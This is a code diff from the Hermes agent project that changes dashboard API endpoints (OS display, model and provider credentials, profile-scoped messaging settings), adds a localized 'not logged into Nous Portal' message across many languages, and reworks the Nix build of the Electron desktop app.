"""Return host OS fields for display while preserving stdlib detail."""
|
||||
if system == "Windows" and release == "10":
|
||||
build = _windows_build_number(version, platform_label)
|
||||
if build is not None and build >= _WINDOWS_11_MIN_BUILD:
|
||||
platform_label = re.sub(
|
||||
r"^Windows-10(?=-)",
|
||||
"Windows-11",
|
||||
platform_label,
|
||||
count=1,
|
||||
)
|
||||
release = "11"
|
||||
|
||||
return {
|
||||
"os": system,
|
||||
"os_release": release,
|
||||
"os_version": version,
|
||||
"platform": platform_label,
|
||||
}
|
||||
|
||||
|
||||
@app.get("/api/system/stats")
|
||||
async def get_system_stats():
|
||||
"""Host + process system stats for the System page.
|
||||
@@ -1649,10 +1715,12 @@ async def get_system_stats():
|
||||
import platform as _platform
|
||||
|
||||
info: Dict[str, Any] = {
|
||||
"os": _platform.system(),
|
||||
"os_release": _platform.release(),
|
||||
"os_version": _platform.version(),
|
||||
"platform": _platform.platform(),
|
||||
**_display_system_platform(
|
||||
system=_platform.system(),
|
||||
release=_platform.release(),
|
||||
version=_platform.version(),
|
||||
platform_label=_platform.platform(),
|
||||
),
|
||||
"arch": _platform.machine(),
|
||||
"hostname": _platform.node(),
|
||||
"python_version": _platform.python_version(),
|
||||
@@ -3151,6 +3219,7 @@ async def set_model_assignment(body: ModelAssignment, profile: Optional[str] = N
|
||||
model = (body.model or "").strip()
|
||||
task = (body.task or "").strip().lower()
|
||||
base_url = (body.base_url or "").strip()
|
||||
api_key = (body.api_key or "").strip()
|
||||
|
||||
if scope not in {"main", "auxiliary"}:
|
||||
raise HTTPException(status_code=400, detail="scope must be 'main' or 'auxiliary'")
|
||||
@@ -3187,7 +3256,7 @@ async def set_model_assignment(body: ModelAssignment, profile: Optional[str] = N
|
||||
def _apply_assignment():
|
||||
with _profile_scope(body.profile or profile):
|
||||
return _apply_model_assignment_sync(
|
||||
scope, provider, model, task, base_url
|
||||
scope, provider, model, task, base_url, api_key
|
||||
)
|
||||
|
||||
return await asyncio.to_thread(_apply_assignment)
|
||||
@@ -3199,7 +3268,7 @@ async def set_model_assignment(body: ModelAssignment, profile: Optional[str] = N
|
||||
|
||||
|
||||
def _apply_model_assignment_sync(
|
||||
scope: str, provider: str, model: str, task: str, base_url: str
|
||||
scope: str, provider: str, model: str, task: str, base_url: str, api_key: str = ""
|
||||
):
|
||||
"""Synchronous body of POST /api/model/set.
|
||||
|
||||
@@ -3214,7 +3283,7 @@ def _apply_model_assignment_sync(
|
||||
raise HTTPException(status_code=400, detail="provider and model required for main")
|
||||
provider, model = _normalize_main_model_assignment(provider, model)
|
||||
model_cfg = _apply_main_model_assignment(
|
||||
cfg.get("model", {}), provider, model, base_url
|
||||
cfg.get("model", {}), provider, model, base_url, api_key
|
||||
)
|
||||
cfg["model"] = model_cfg
|
||||
|
||||
@@ -3249,6 +3318,27 @@ def _apply_model_assignment_sync(
|
||||
|
||||
save_config(cfg)
|
||||
|
||||
# Register a named ``custom_providers`` entry for a custom/local
|
||||
# endpoint, mirroring the ``hermes model`` custom flow
|
||||
# (_save_custom_provider). Without this the endpoint only lives in
|
||||
# ``model.*`` and the picker has no proper ready row for it — the
|
||||
# GUI then surfaces a "needs setup" dead-end on the bare ``custom``
|
||||
# provider. Dedups by base_url, so re-saving is idempotent.
|
||||
if provider.strip().lower() in {"custom", "local"} and base_url:
|
||||
try:
|
||||
from hermes_cli.main import _auto_provider_name, _save_custom_provider
|
||||
|
||||
_save_custom_provider(
|
||||
base_url,
|
||||
api_key,
|
||||
model,
|
||||
name=_auto_provider_name(base_url),
|
||||
)
|
||||
except Exception:
|
||||
# Never block the assignment on the bookkeeping write —
|
||||
# model.* is already persisted and routable.
|
||||
_log.debug("custom_providers registration skipped", exc_info=True)
|
||||
|
||||
# Surface auxiliary slots still pinned to a *different* provider than
|
||||
# the new main one. Switching the main model does NOT touch aux pins
|
||||
# (they're independent, sticky per-task overrides — see
|
||||
@@ -3503,9 +3593,14 @@ async def validate_provider_credential(body: EnvVarUpdate, request: Request):
|
||||
# auto-pick a default without asking the user to type a model name.
|
||||
if key == "OPENAI_BASE_URL":
|
||||
url = value.rstrip("/") + "/models"
|
||||
# Send the optional API key so endpoints that require auth on
|
||||
# ``/v1/models`` (many hosted OpenAI-compatible servers) still enumerate
|
||||
# their models instead of returning an empty list behind a 401.
|
||||
api_key = (body.api_key or "").strip()
|
||||
headers = {"Authorization": f"Bearer {api_key}"} if api_key else None
|
||||
try:
|
||||
with httpx.Client(timeout=httpx.Timeout(8.0)) as client:
|
||||
resp = client.get(url)
|
||||
resp = client.get(url, headers=headers)
|
||||
return {"ok": True, "reachable": True, "message": "", "models": _parse_model_ids(resp)}
|
||||
except Exception:
|
||||
return {"ok": False, "reachable": False, "message": f"Could not reach {url}."}
|
||||
@@ -4117,7 +4212,10 @@ def _gateway_platform_config(platform_id: str):
|
||||
|
||||
|
||||
def _messaging_platform_payload(
|
||||
entry: dict[str, Any], env_on_disk: dict[str, str], runtime: dict | None
|
||||
entry: dict[str, Any],
|
||||
env_on_disk: dict[str, str],
|
||||
runtime: dict | None,
|
||||
scoped: bool = False,
|
||||
) -> dict[str, Any]:
|
||||
platform_id = entry["id"]
|
||||
gateway_running = get_running_pid() is not None
|
||||
@@ -4130,7 +4228,11 @@ def _messaging_platform_payload(
|
||||
env_vars = []
|
||||
|
||||
for key in entry["env_vars"]:
|
||||
value = env_on_disk.get(key) or os.getenv(key, "")
|
||||
# When profile-scoped, judge only the profile's own .env — the
|
||||
# dashboard process's os.environ carries the ROOT install's .env
|
||||
# (loaded at startup) and would falsely report the root credentials
|
||||
# as the profile's.
|
||||
value = env_on_disk.get(key) or ("" if scoped else os.getenv(key, ""))
|
||||
env_vars.append(
|
||||
{
|
||||
"key": key,
|
||||
@@ -4141,26 +4243,46 @@ def _messaging_platform_payload(
|
||||
}
|
||||
)
|
||||
|
||||
try:
|
||||
gateway_config, platform, platform_config = _gateway_platform_config(
|
||||
platform_id
|
||||
)
|
||||
enabled = bool(platform_config and platform_config.enabled)
|
||||
configured = bool(
|
||||
platform_config
|
||||
and gateway_config._is_platform_connected(platform, platform_config)
|
||||
)
|
||||
home_channel = (
|
||||
platform_config.home_channel.to_dict()
|
||||
if platform_config and platform_config.home_channel
|
||||
else None
|
||||
)
|
||||
except Exception:
|
||||
enabled = False
|
||||
configured = all(
|
||||
env_on_disk.get(key) or os.getenv(key, "") for key in entry["required_env"]
|
||||
)
|
||||
home_channel = None
|
||||
if scoped:
|
||||
# Profile-scoped view: derive enablement/configuration from the
|
||||
# profile's config.yaml + .env only. load_gateway_config()'s
|
||||
# env-override layer reads os.environ and would leak the root
|
||||
# install's tokens into the profile's reported state.
|
||||
try:
|
||||
cfg = load_config()
|
||||
platforms_cfg = cfg.get("platforms") or {}
|
||||
plat_cfg = platforms_cfg.get(platform_id)
|
||||
if not isinstance(plat_cfg, dict):
|
||||
plat_cfg = {}
|
||||
enabled = bool(plat_cfg.get("enabled"))
|
||||
hc = plat_cfg.get("home_channel")
|
||||
home_channel = hc if isinstance(hc, dict) else None
|
||||
except Exception:
|
||||
enabled = False
|
||||
home_channel = None
|
||||
configured = all(env_on_disk.get(key) for key in entry["required_env"])
|
||||
else:
|
||||
try:
|
||||
gateway_config, platform, platform_config = _gateway_platform_config(
|
||||
platform_id
|
||||
)
|
||||
enabled = bool(platform_config and platform_config.enabled)
|
||||
configured = bool(
|
||||
platform_config
|
||||
and gateway_config._is_platform_connected(platform, platform_config)
|
||||
)
|
||||
home_channel = (
|
||||
platform_config.home_channel.to_dict()
|
||||
if platform_config and platform_config.home_channel
|
||||
else None
|
||||
)
|
||||
except Exception:
|
||||
enabled = False
|
||||
configured = all(
|
||||
env_on_disk.get(key) or os.getenv(key, "")
|
||||
for key in entry["required_env"]
|
||||
)
|
||||
home_channel = None
|
||||
|
||||
state = (
|
||||
runtime_platform.get("state") if isinstance(runtime_platform, dict) else None
|
||||
@@ -4583,19 +4705,28 @@ async def cancel_telegram_onboarding(pairing_id: str):
|
||||
|
||||
|
||||
@app.get("/api/messaging/platforms")
|
||||
async def get_messaging_platforms():
|
||||
env_on_disk = load_env()
|
||||
runtime = read_runtime_status()
|
||||
return {
|
||||
"platforms": [
|
||||
_messaging_platform_payload(entry, env_on_disk, runtime)
|
||||
for entry in _messaging_platform_catalog()
|
||||
]
|
||||
}
|
||||
async def get_messaging_platforms(profile: Optional[str] = None):
|
||||
# Profile-scoped so the dashboard's global profile switcher shows the
|
||||
# TARGET profile's channel credentials/state, not the root install's.
|
||||
# Inside _profile_scope, load_env()/read_runtime_status()/get_running_pid()
|
||||
# all resolve against the requested profile's HERMES_HOME.
|
||||
with _profile_scope(profile) as scoped_dir:
|
||||
env_on_disk = load_env()
|
||||
runtime = read_runtime_status()
|
||||
return {
|
||||
"platforms": [
|
||||
_messaging_platform_payload(
|
||||
entry, env_on_disk, runtime, scoped=scoped_dir is not None
|
||||
)
|
||||
for entry in _messaging_platform_catalog()
|
||||
]
|
||||
}
|
||||
|
||||
|
||||
@app.put("/api/messaging/platforms/{platform_id}")
|
||||
async def update_messaging_platform(platform_id: str, body: MessagingPlatformUpdate):
|
||||
async def update_messaging_platform(
|
||||
platform_id: str, body: MessagingPlatformUpdate, profile: Optional[str] = None
|
||||
):
|
||||
entry = _catalog_lookup(platform_id)
|
||||
if not entry:
|
||||
raise HTTPException(
|
||||
@@ -4604,26 +4735,27 @@ async def update_messaging_platform(platform_id: str, body: MessagingPlatformUpd
|
||||
|
||||
allowed_env = set(entry["env_vars"])
|
||||
try:
|
||||
for key in body.clear_env:
|
||||
if key not in allowed_env:
|
||||
raise HTTPException(
|
||||
status_code=400,
|
||||
detail=f"{key} is not configurable for {entry['name']}",
|
||||
)
|
||||
remove_env_value(key)
|
||||
with _profile_scope(body.profile or profile):
|
||||
for key in body.clear_env:
|
||||
if key not in allowed_env:
|
||||
raise HTTPException(
|
||||
status_code=400,
|
||||
detail=f"{key} is not configurable for {entry['name']}",
|
||||
)
|
||||
remove_env_value(key)
|
||||
|
||||
for key, value in body.env.items():
|
||||
if key not in allowed_env:
|
||||
raise HTTPException(
|
||||
status_code=400,
|
||||
detail=f"{key} is not configurable for {entry['name']}",
|
||||
)
|
||||
trimmed = value.strip()
|
||||
if trimmed:
|
||||
save_env_value(key, trimmed)
|
||||
for key, value in body.env.items():
|
||||
if key not in allowed_env:
|
||||
raise HTTPException(
|
||||
status_code=400,
|
||||
detail=f"{key} is not configurable for {entry['name']}",
|
||||
)
|
||||
trimmed = value.strip()
|
||||
if trimmed:
|
||||
save_env_value(key, trimmed)
|
||||
|
||||
if body.enabled is not None:
|
||||
_write_platform_enabled(platform_id, body.enabled)
|
||||
if body.enabled is not None:
|
||||
_write_platform_enabled(platform_id, body.enabled)
|
||||
|
||||
return {"ok": True, "platform": platform_id}
|
||||
except HTTPException:
|
||||
@@ -4634,15 +4766,18 @@ async def update_messaging_platform(platform_id: str, body: MessagingPlatformUpd
|
||||
|
||||
|
||||
@app.post("/api/messaging/platforms/{platform_id}/test")
|
||||
async def test_messaging_platform(platform_id: str):
|
||||
async def test_messaging_platform(platform_id: str, profile: Optional[str] = None):
|
||||
entry = _catalog_lookup(platform_id)
|
||||
if not entry:
|
||||
raise HTTPException(
|
||||
status_code=404, detail=f"Unknown messaging platform: {platform_id}"
|
||||
)
|
||||
|
||||
env_on_disk = load_env()
|
||||
payload = _messaging_platform_payload(entry, env_on_disk, read_runtime_status())
|
||||
with _profile_scope(profile) as scoped_dir:
|
||||
env_on_disk = load_env()
|
||||
payload = _messaging_platform_payload(
|
||||
entry, env_on_disk, read_runtime_status(), scoped=scoped_dir is not None
|
||||
)
|
||||
if not payload["enabled"]:
|
||||
message = f"{entry['name']} is disabled. Enable it, then restart the gateway."
|
||||
return {"ok": False, "state": payload["state"], "message": message}
|
||||
|
||||
@@ -334,6 +334,9 @@ Future messages in this room will use that transcript until `/reset` or another
|
||||
detailed_after_first: "_(Gedetailleerde gebruik beskikbaar na die eerste agent-antwoord)_"
|
||||
no_data: "Geen gebruiksdata beskikbaar vir hierdie sessie nie."
|
||||
|
||||
credits:
|
||||
not_logged_in: "Nie by Nous Portal aangemeld nie. Meld aan om jou kredietsaldo te sien en op te laai."
|
||||
|
||||
verbose:
|
||||
not_enabled: "Die `/verbose`-opdrag is nie vir boodskapplatforms geaktiveer nie.\n\nAktiveer dit in `config.yaml`:\n```yaml\ndisplay:\n tool_progress_command: true\n```"
|
||||
mode_off: "⚙️ Gereedskap-vordering: **AF** — geen gereedskap-aktiwiteit word vertoon nie."
|
||||
|
||||
@@ -334,6 +334,9 @@ Future messages in this room will use that transcript until `/reset` or another
|
||||
detailed_after_first: "_(Detaillierte Nutzung nach der ersten Agentenantwort verfügbar)_"
|
||||
no_data: "Keine Nutzungsdaten für diese Sitzung verfügbar."
|
||||
|
||||
credits:
|
||||
not_logged_in: "Nicht bei Nous Portal angemeldet. Melde dich an, um dein Guthaben zu sehen und aufzuladen."
|
||||
|
||||
verbose:
|
||||
not_enabled: "Der Befehl `/verbose` ist für Messaging-Plattformen nicht aktiviert.\n\nIn `config.yaml` aktivieren:\n```yaml\ndisplay:\n tool_progress_command: true\n```"
|
||||
mode_off: "⚙️ Tool-Fortschritt: **OFF** — keine Tool-Aktivität angezeigt."
|
||||
|
||||
@@ -346,6 +346,9 @@ gateway:
|
||||
detailed_after_first: "_(Detailed usage available after the first agent response)_"
|
||||
no_data: "No usage data available for this session."
|
||||
|
||||
credits:
|
||||
not_logged_in: "Not logged into Nous Portal. Log in to see your credit balance and top up."
|
||||
|
||||
verbose:
|
||||
not_enabled: "The `/verbose` command is not enabled for messaging platforms.\n\nEnable it in `config.yaml`:\n```yaml\ndisplay:\n tool_progress_command: true\n```"
|
||||
mode_off: "⚙️ Tool progress: **OFF** — no tool activity shown."
|
||||
|
||||
@@ -334,6 +334,9 @@ Future messages in this room will use that transcript until `/reset` or another
|
||||
detailed_after_first: "_(Uso detallado disponible tras la primera respuesta del agente)_"
|
||||
no_data: "No hay datos de uso disponibles para esta sesión."
|
||||
|
||||
credits:
|
||||
not_logged_in: "No has iniciado sesión en Nous Portal. Inicia sesión para ver tu saldo de créditos y recargar."
|
||||
|
||||
verbose:
|
||||
not_enabled: "El comando `/verbose` no está habilitado para plataformas de mensajería.\n\nHabilítalo en `config.yaml`:\n```yaml\ndisplay:\n tool_progress_command: true\n```"
|
||||
mode_off: "⚙️ Progreso de herramientas: **OFF** — no se muestra actividad de herramientas."
|
||||
|
||||
@@ -334,6 +334,9 @@ Future messages in this room will use that transcript until `/reset` or another
|
||||
detailed_after_first: "_(Utilisation détaillée disponible après la première réponse de l'agent)_"
|
||||
no_data: "Aucune donnée d'utilisation disponible pour cette session."
|
||||
|
||||
credits:
|
||||
not_logged_in: "Non connecté à Nous Portal. Connecte-toi pour voir ton solde de crédits et recharger."
|
||||
|
||||
verbose:
|
||||
not_enabled: "La commande `/verbose` n'est pas activée pour les plateformes de messagerie.\n\nActivez-la dans `config.yaml` :\n```yaml\ndisplay:\n tool_progress_command: true\n```"
|
||||
mode_off: "⚙️ Progression des outils : **OFF** — aucune activité d'outil affichée."
|
||||
|
||||
@@ -338,6 +338,9 @@ Future messages in this room will use that transcript until `/reset` or another
|
||||
detailed_after_first: "_(Úsáid mhionsonraithe ar fáil tar éis chéad fhreagra an ghníomhaire)_"
|
||||
no_data: "Níl aon sonraí úsáide ar fáil don seisiún seo."
|
||||
|
||||
credits:
|
||||
not_logged_in: "Níl tú logáilte isteach i Nous Portal. Logáil isteach chun d'iarmhéid creidmheasa a fheiceáil agus breis a chur leis."
|
||||
|
||||
verbose:
|
||||
not_enabled: "Níl an t-ordú `/verbose` cumasaithe d'ardáin teachtaireachtaí.\n\nCumasaigh in `config.yaml`:\n```yaml\ndisplay:\n tool_progress_command: true\n```"
|
||||
mode_off: "⚙️ Dul chun cinn uirlise: **AS** — gan aon ghníomhaíocht uirlise á thaispeáint."
|
||||
|
||||
@@ -334,6 +334,9 @@ Future messages in this room will use that transcript until `/reset` or another
|
||||
detailed_after_first: "_(A részletes használat az első ügynökválasz után érhető el)_"
|
||||
no_data: "Ehhez a munkamenethez nincsenek elérhető használati adatok."
|
||||
|
||||
credits:
|
||||
not_logged_in: "Nincs bejelentkezve a Nous Portalra. Jelentkezz be a kreditegyenleg megtekintéséhez és feltöltéséhez."
|
||||
|
||||
verbose:
|
||||
not_enabled: "A `/verbose` parancs nincs engedélyezve az üzenetküldő platformokon.\n\nEngedélyezd a `config.yaml` fájlban:\n```yaml\ndisplay:\n tool_progress_command: true\n```"
|
||||
mode_off: "⚙️ Eszközfolyamat: **OFF** — nem jelenik meg eszközaktivitás."
|
||||
|
||||
@@ -334,6 +334,9 @@ Future messages in this room will use that transcript until `/reset` or another
|
||||
detailed_after_first: "_(L'uso dettagliato sarà disponibile dopo la prima risposta dell'agente)_"
|
||||
no_data: "Nessun dato di utilizzo disponibile per questa sessione."
|
||||
|
||||
credits:
|
||||
not_logged_in: "Non hai effettuato l'accesso a Nous Portal. Accedi per vedere il saldo dei crediti e ricaricare."
|
||||
|
||||
verbose:
|
||||
not_enabled: "Il comando `/verbose` non è abilitato per le piattaforme di messaggistica.\n\nAbilitalo in `config.yaml`:\n```yaml\ndisplay:\n tool_progress_command: true\n```"
|
||||
mode_off: "⚙️ Progresso strumenti: **OFF** — nessuna attività degli strumenti mostrata."
|
||||
|
||||
@@ -334,6 +334,9 @@ Future messages in this room will use that transcript until `/reset` or another
|
||||
detailed_after_first: "_(詳細な使用状況は最初のエージェント応答後に利用可能)_"
|
||||
no_data: "このセッションの使用データはありません。"
|
||||
|
||||
credits:
|
||||
not_logged_in: "Nous Portal にログインしていません。ログインすると残高の確認とチャージができます。"
|
||||
|
||||
verbose:
|
||||
not_enabled: "`/verbose` コマンドはメッセージングプラットフォームで有効になっていません。\n\n`config.yaml` で有効にしてください:\n```yaml\ndisplay:\n tool_progress_command: true\n```"
|
||||
mode_off: "⚙️ ツール進捗: **OFF** — ツールの動作は表示されません。"
|
||||
|
||||
@@ -334,6 +334,9 @@ Future messages in this room will use that transcript until `/reset` or another
|
||||
detailed_after_first: "_(자세한 사용량은 첫 에이전트 응답 이후 확인할 수 있습니다)_"
|
||||
no_data: "이 세션에 사용 가능한 사용량 데이터가 없습니다."
|
||||
|
||||
credits:
|
||||
not_logged_in: "Nous Portal에 로그인되어 있지 않습니다. 로그인하면 크레딧 잔액 확인 및 충전을 할 수 있습니다."
|
||||
|
||||
verbose:
|
||||
not_enabled: "`/verbose` 명령은 메시징 플랫폼에서 활성화되어 있지 않습니다.\n\n`config.yaml`에서 활성화하세요:\n```yaml\ndisplay:\n tool_progress_command: true\n```"
|
||||
mode_off: "⚙️ 도구 진행 상황: **OFF** — 도구 활동이 표시되지 않습니다."
|
||||
|
||||
@@ -334,6 +334,9 @@ Future messages in this room will use that transcript until `/reset` or another
|
||||
detailed_after_first: "_(Utilização detalhada disponível após a primeira resposta do agente)_"
|
||||
no_data: "Não há dados de utilização disponíveis para esta sessão."
|
||||
|
||||
credits:
|
||||
not_logged_in: "Você não está conectado ao Nous Portal. Faça login para ver seu saldo de créditos e recarregar."
|
||||
|
||||
verbose:
|
||||
not_enabled: "O comando `/verbose` não está ativado para plataformas de mensagens.\n\nAtiva-o em `config.yaml`:\n```yaml\ndisplay:\n tool_progress_command: true\n```"
|
||||
mode_off: "⚙️ Progresso de ferramentas: **OFF** — não é mostrada qualquer atividade de ferramentas."
|
||||
|
||||
@@ -334,6 +334,9 @@ Future messages in this room will use that transcript until `/reset` or another
|
||||
detailed_after_first: "_(Подробное использование доступно после первого ответа агента)_"
|
||||
no_data: "Данные об использовании для этого сеанса отсутствуют."
|
||||
|
||||
credits:
|
||||
not_logged_in: "Вы не вошли в Nous Portal. Войдите, чтобы увидеть баланс кредитов и пополнить его."
|
||||
|
||||
verbose:
|
||||
not_enabled: "Команда `/verbose` не включена для платформ обмена сообщениями.\n\nВключите в `config.yaml`:\n```yaml\ndisplay:\n tool_progress_command: true\n```"
|
||||
mode_off: "⚙️ Прогресс инструментов: **OFF** — активность инструментов не показывается."
|
||||
|
||||
@@ -334,6 +334,9 @@ Future messages in this room will use that transcript until `/reset` or another
|
||||
detailed_after_first: "_(Ayrıntılı kullanım, ilk ajan yanıtından sonra kullanılabilir)_"
|
||||
no_data: "Bu oturum için kullanım verisi yok."
|
||||
|
||||
credits:
|
||||
not_logged_in: "Nous Portal'a giriş yapılmadı. Bakiyenizi görmek ve yükleme yapmak için giriş yapın."
|
||||
|
||||
verbose:
|
||||
not_enabled: "`/verbose` komutu mesajlaşma platformlarında etkin değil.\n\n`config.yaml` içinde etkinleştirin:\n```yaml\ndisplay:\n tool_progress_command: true\n```"
|
||||
mode_off: "⚙️ Araç ilerlemesi: **OFF** — araç etkinliği gösterilmez."
|
||||
|
||||
@@ -334,6 +334,9 @@ Future messages in this room will use that transcript until `/reset` or another
|
||||
detailed_after_first: "_(Детальне використання доступне після першої відповіді агента)_"
|
||||
no_data: "Дані про використання для цього сеансу відсутні."
|
||||
|
||||
credits:
|
||||
not_logged_in: "Ви не ввійшли в Nous Portal. Увійдіть, щоб переглянути баланс кредитів і поповнити його."
|
||||
|
||||
verbose:
|
||||
not_enabled: "Команду `/verbose` не ввімкнено для платформ обміну повідомленнями.\n\nУвімкніть у `config.yaml`:\n```yaml\ndisplay:\n tool_progress_command: true\n```"
|
||||
mode_off: "⚙️ Прогрес інструментів: **OFF** — активність інструментів не показується."
|
||||
|
||||
@@ -334,6 +334,9 @@ Future messages in this room will use that transcript until `/reset` or another
|
||||
detailed_after_first: "_(首次代理回應後可檢視詳細使用情況)_"
|
||||
no_data: "此工作階段沒有可用的使用資料。"
|
||||
|
||||
credits:
|
||||
not_logged_in: "未登入 Nous Portal。登入後即可查看額度餘額並儲值。"
|
||||
|
||||
verbose:
|
||||
not_enabled: "`/verbose` 指令未在訊息平台上啟用。\n\n請在 `config.yaml` 中啟用:\n```yaml\ndisplay:\n tool_progress_command: true\n```"
|
||||
mode_off: "⚙️ 工具進度:**OFF** — 不顯示任何工具活動。"
|
||||
|
||||
@@ -334,6 +334,9 @@ Future messages in this room will use that transcript until `/reset` or another
|
||||
detailed_after_first: "_(首次代理响应后可查看详细使用情况)_"
|
||||
no_data: "此会话暂无使用数据。"
|
||||
|
||||
credits:
|
||||
not_logged_in: "未登录 Nous Portal。登录后即可查看额度余额并充值。"
|
||||
|
||||
verbose:
|
||||
not_enabled: "`/verbose` 命令未在消息平台启用。\n\n请在 `config.yaml` 中启用:\n```yaml\ndisplay:\n tool_progress_command: true\n```"
|
||||
mode_off: "⚙️ 工具进度:**OFF** — 不显示任何工具活动。"
|
||||
|
||||
+85
-43
@@ -6,63 +6,99 @@
|
||||
# `HERMES_DESKTOP_HERMES` override env var, so the desktop's resolver
|
||||
# uses our fully wrapped binary at step 4 ("existing Hermes CLI").
|
||||
# No reimplementation of the agent resolution in this wrapper.
|
||||
{ pkgs, lib, stdenv, makeWrapper, hermesNpmLib, electron, hermesAgent, ... }:
|
||||
{
|
||||
pkgs,
|
||||
lib,
|
||||
stdenv,
|
||||
makeWrapper,
|
||||
hermesNpmLib,
|
||||
electron,
|
||||
hermesAgent,
|
||||
...
|
||||
}:
|
||||
let
|
||||
npm = hermesNpmLib.mkNpmPassthru { folder = "apps/desktop"; attr = "desktop"; pname = "hermes-desktop"; };
|
||||
npm = hermesNpmLib.mkNpmPassthru {
|
||||
folder = "apps/desktop";
|
||||
attr = "desktop";
|
||||
pname = "hermes-desktop";
|
||||
};
|
||||
|
||||
packageJson = builtins.fromJSON (builtins.readFile (npm.src + "/apps/desktop/package.json"));
|
||||
version = packageJson.version;
|
||||
|
||||
# Build the renderer (dist/ + electron/ + package.json).
|
||||
renderer = pkgs.buildNpmPackage (npm // {
|
||||
pname = "hermes-desktop-renderer";
|
||||
inherit version;
|
||||
renderer = pkgs.buildNpmPackage (
|
||||
npm
|
||||
// {
|
||||
pname = "hermes-desktop-renderer";
|
||||
inherit version;
|
||||
doCheck = true;
|
||||
|
||||
doCheck = false;
|
||||
# The workspace lockfile resolves all peer deps
|
||||
# correctly so --legacy-peer-deps is not needed.
|
||||
# --ignore-scripts comes from mkNpmPassthru (shared).
|
||||
makeCacheWritable = true;
|
||||
buildPhase = ''
|
||||
runHook preBuild
|
||||
|
||||
buildPhase = ''
|
||||
runHook preBuild
|
||||
# write-build-stamp.cjs replacement. Packaged Electron reads this
|
||||
# at first-launch to pin the install.ps1 git ref; informational in
|
||||
# nix builds (the backend comes from the derivation directly).
|
||||
mkdir -p apps/desktop/build
|
||||
echo '{"schemaVersion":1,"commit":"nix","branch":"nix","dirty":false,"source":"nix"}' > apps/desktop/build/install-stamp.json
|
||||
|
||||
# write-build-stamp.cjs replacement. Packaged Electron reads this
|
||||
# at first-launch to pin the install.ps1 git ref; informational in
|
||||
# nix builds (the backend comes from the derivation directly).
|
||||
mkdir -p apps/desktop/build
|
||||
echo '{"schemaVersion":1,"commit":"nix","branch":"nix","dirty":false,"source":"nix"}' > apps/desktop/build/install-stamp.json
|
||||
# patch shebangs in node_modules/.bin so npm exec can find the
|
||||
# nix-store equivalents of /usr/bin/env (which doesn't exist in the sandbox)
|
||||
patchShebangs .
|
||||
|
||||
# Build from apps/desktop/ so vite.config.ts resolves correctly.
|
||||
# The workspace root's node_modules/ is accessible as ../../node_modules/.
|
||||
cd apps/desktop
|
||||
pushd apps/desktop
|
||||
# stage node-pty native binaries into build/native-deps for the final nix output
|
||||
npm rebuild node-pty --build-from-source
|
||||
node scripts/stage-native-deps.cjs
|
||||
|
||||
npm exec tsc -b
|
||||
npm exec vite build
|
||||
popd
|
||||
|
||||
# vite handles TS transpilation via esbuild — no type-checking.
|
||||
# We skip `tsc -b` to avoid type errors in test files that don't
|
||||
# ship in the bundle (real upstream peer-dep version mismatches
|
||||
# in @testing-library/react v16 — not blocking the build).
|
||||
# Call vite directly from root node_modules to avoid npx resolving
|
||||
# through unpatched workspace symlinks.
|
||||
node ../../node_modules/vite/bin/vite.js build --outDir dist
|
||||
runHook postBuild
|
||||
'';
|
||||
|
||||
# Return to source root so installPhase paths are correct.
|
||||
cd ../..
|
||||
checkPhase = ''
|
||||
runHook preCheck
|
||||
|
||||
runHook postBuild
|
||||
'';
|
||||
pushd apps/desktop
|
||||
|
||||
installPhase = ''
|
||||
runHook preInstall
|
||||
mkdir -p $out
|
||||
# vite writes to apps/desktop/dist/ (we cd'd there in buildPhase).
|
||||
# apps/desktop/build was created before the cd. electron/ is source.
|
||||
cp -r apps/desktop/dist $out/
|
||||
cp -r apps/desktop/electron $out/
|
||||
cp -r apps/desktop/build $out/
|
||||
cp apps/desktop/package.json $out/
|
||||
runHook postInstall
|
||||
'';
|
||||
});
|
||||
npm run postbuild
|
||||
|
||||
# validate staged node-pty native binary is present
|
||||
STAGED_PTY_NODE="./build/native-deps/node-pty/build/Release/pty.node"
|
||||
|
||||
if [ ! -f "$STAGED_PTY_NODE" ]; then
|
||||
echo "FATAL: Missing staged node-pty native binary at $STAGED_PTY_NODE"
|
||||
echo "node-pty must be compiled natively"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
popd
|
||||
|
||||
runHook postCheck
|
||||
'';
|
||||
|
||||
installPhase = ''
|
||||
runHook preInstall
|
||||
mkdir -p $out
|
||||
# vite writes to apps/desktop/dist/ (we cd'd there in buildPhase).
|
||||
# apps/desktop/build was created before the cd. electron/ is source.
|
||||
cp -rn apps/desktop/dist $out/
|
||||
cp -rn apps/desktop/electron $out/
|
||||
|
||||
# flatten native-deps and install-stamp.json to the root level, exactly like
|
||||
# electron-builder's extraResources does ("from": "build/native-deps", "to": "native-deps")
|
||||
# so main.cjs can find it at process.resourcesPath + '/native-deps/node-pty'
|
||||
cp -rn apps/desktop/build/native-deps $out/
|
||||
cp -n apps/desktop/build/install-stamp.json $out/
|
||||
|
||||
cp -n apps/desktop/package.json $out/
|
||||
runHook postInstall
|
||||
'';
|
||||
}
|
||||
);
|
||||
in
|
||||
|
||||
# Electron wrapper: nixpkgs' electron binary pointed at the renderer dir.
|
||||
@@ -81,6 +117,12 @@ stdenv.mkDerivation {
|
||||
mkdir -p $out/share/hermes-desktop $out/bin
|
||||
cp -r ${renderer}/* $out/share/hermes-desktop/
|
||||
|
||||
# Standard nixpkgs pattern for electron-builder apps: patch process.resourcesPath
|
||||
# to point to the app's directory. In Nix, unpackaged electron defaults this
|
||||
# to the electron distribution's resources path, breaking extraResources lookups.
|
||||
substituteInPlace $out/share/hermes-desktop/electron/main.cjs \
|
||||
--replace-fail "process.resourcesPath" "'$out/share/hermes-desktop'"
|
||||
|
||||
# Wrap the nixpkgs electron binary to launch our app. Set
|
||||
# HERMES_DESKTOP_HERMES to the absolute path of the nix-built `hermes`
|
||||
# binary so the desktop's resolver step 4 ("existing Hermes CLI on
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user